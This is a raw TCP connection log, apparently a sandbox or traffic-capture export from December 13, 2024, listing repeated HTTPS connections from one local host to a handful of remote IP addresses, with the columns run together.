                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.236856937 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.238940954 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.238979101 CET44349726162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.241599083 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.241599083 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.241640091 CET44349726162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.706372023 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.706446886 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.713000059 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.713011980 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.713279009 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.715915918 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.716039896 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.716057062 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.368573904 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.368712902 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.368807077 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.456645012 CET44349726162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.457392931 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.457408905 CET44349726162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.458920956 CET44349726162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.459048033 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.460864067 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.460864067 CET49726443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.500489950 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.500536919 CET44349727162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.500660896 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.502943993 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.502966881 CET44349727162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.514597893 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:08.514621019 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.714524984 CET44349727162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.716996908 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.717016935 CET44349727162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.718022108 CET44349727162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.719084978 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.719084978 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.719223022 CET44349727162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.719307899 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.719307899 CET49727443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.720442057 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.720482111 CET44349728162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.720659018 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.721350908 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.721365929 CET44349728162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.849843025 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.849886894 CET44349729162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.850497961 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.850497961 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:09.850545883 CET44349729162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.930758953 CET44349728162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.931334019 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.931348085 CET44349728162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.932410002 CET44349728162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.932514906 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.933955908 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:10.933955908 CET49728443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.061681032 CET44349729162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.062279940 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.062293053 CET44349729162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.063261986 CET44349729162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.064450026 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.064450979 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.064450979 CET49729443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.065645933 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.065679073 CET44349731162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.065783024 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.066134930 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:11.066143036 CET44349731162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.275612116 CET44349731162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.276979923 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.276998997 CET44349731162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.278096914 CET44349731162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.278158903 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.279167891 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.279375076 CET44349731162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.279376030 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.279511929 CET49731443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.280925989 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.280977964 CET44349732162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.281044006 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.281332970 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:12.281337976 CET44349732162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.493272066 CET44349732162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.493700981 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.493730068 CET44349732162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.494784117 CET44349732162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.494847059 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.495806932 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.495937109 CET44349732162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.495950937 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.495980978 CET49732443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.497159004 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.497208118 CET44349733162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.497287035 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.499809980 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:13.499825001 CET44349733162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.709908962 CET44349733162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.710378885 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.710407019 CET44349733162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.711469889 CET44349733162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.711586952 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.712701082 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.712837934 CET44349733162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.712837934 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.712913990 CET49733443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.714126110 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.714174986 CET44349734162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.714293003 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.714603901 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:14.714618921 CET44349734162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.928695917 CET44349734162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.929305077 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.929335117 CET44349734162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.930434942 CET44349734162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.930536032 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.932069063 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.932260990 CET44349734162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.932282925 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.932310104 CET49734443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.934115887 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.934179068 CET44349735162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.934278011 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.934839964 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:15.934853077 CET44349735162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.157493114 CET44349735162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.158073902 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.158103943 CET44349735162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.159153938 CET44349735162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.159241915 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.160187960 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.160326004 CET49735443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.161603928 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.161690950 CET44349736162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.161772013 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.162225008 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:17.162256002 CET44349736162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.372229099 CET44349736162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.373029947 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.373049974 CET44349736162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.374053001 CET44349736162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.374119997 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.375689030 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.375813007 CET44349736162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.375864029 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.375890970 CET49736443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.377404928 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.377459049 CET44349737162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.377542019 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.377863884 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.377877951 CET44349737162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.495704889 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.495755911 CET44349738104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.495819092 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.497298956 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:18.497312069 CET44349738104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.586755037 CET44349737162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.587212086 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.587239981 CET44349737162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.588236094 CET44349737162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.588341951 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.589555979 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.589709997 CET49737443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.707490921 CET44349738104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.708236933 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.708259106 CET44349738104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.709357977 CET44349738104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.709428072 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.711070061 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.711256027 CET44349738104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.711265087 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.711319923 CET49738443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.712743998 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.712791920 CET4434973945.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.712882996 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.713269949 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.713279009 CET4434973945.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.794662952 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.794723034 CET44349740162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.794964075 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.795360088 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:19.795372963 CET44349740162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.009890079 CET44349740162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.011132002 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.011161089 CET44349740162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.012343884 CET44349740162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.012401104 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.013871908 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.013998985 CET49740443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.015289068 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.015351057 CET44349741162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.015413046 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.015779018 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.015789986 CET44349741162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.103698969 CET4434973945.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.104350090 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.104372978 CET4434973945.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.105365038 CET4434973945.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.105439901 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.106959105 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.107083082 CET4434973945.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.107136965 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.107188940 CET49739443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.108458042 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.108495951 CET44349742159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.108963013 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.108963013 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:21.108992100 CET44349742159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.226578951 CET44349741162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.229429960 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.229456902 CET44349741162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.230576992 CET44349741162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.230640888 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.232438087 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.232598066 CET49741443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.233647108 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.233676910 CET44349743162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.235018015 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.235344887 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:22.235356092 CET44349743162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.312601089 CET44349742159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.313247919 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.313265085 CET44349742159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.314349890 CET44349742159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.314433098 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.315732956 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.315885067 CET49742443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.577619076 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.577687025 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.577779055 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.588268995 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.588285923 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.588601112 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.588649988 CET44349747162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.588717937 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.589179993 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.589189053 CET44349747162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.878509045 CET44349743162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.879138947 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.879164934 CET44349743162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.880326986 CET44349743162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.880394936 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.881562948 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.881715059 CET49743443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.882868052 CET49748443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.882905006 CET44349748162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.882981062 CET49748443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.885154963 CET49748443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:23.885166883 CET44349748162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.808979988 CET44349747162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.811471939 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.811506987 CET44349747162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.812566042 CET44349747162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.812639952 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.813606024 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.813740015 CET44349747162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.813747883 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.813782930 CET49747443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.814892054 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.814939976 CET44349749162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.815013885 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.815387964 CET49749443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.815398932 CET44349749162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.956384897 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.956527948 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.958184004 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.958199024 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.958451986 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.961360931 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.961416006 CET49746443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:24.961437941 CET4434974631.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.094325066 CET44349748162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:25.094980001 CET49748443192.168.2.8162.159.138.232
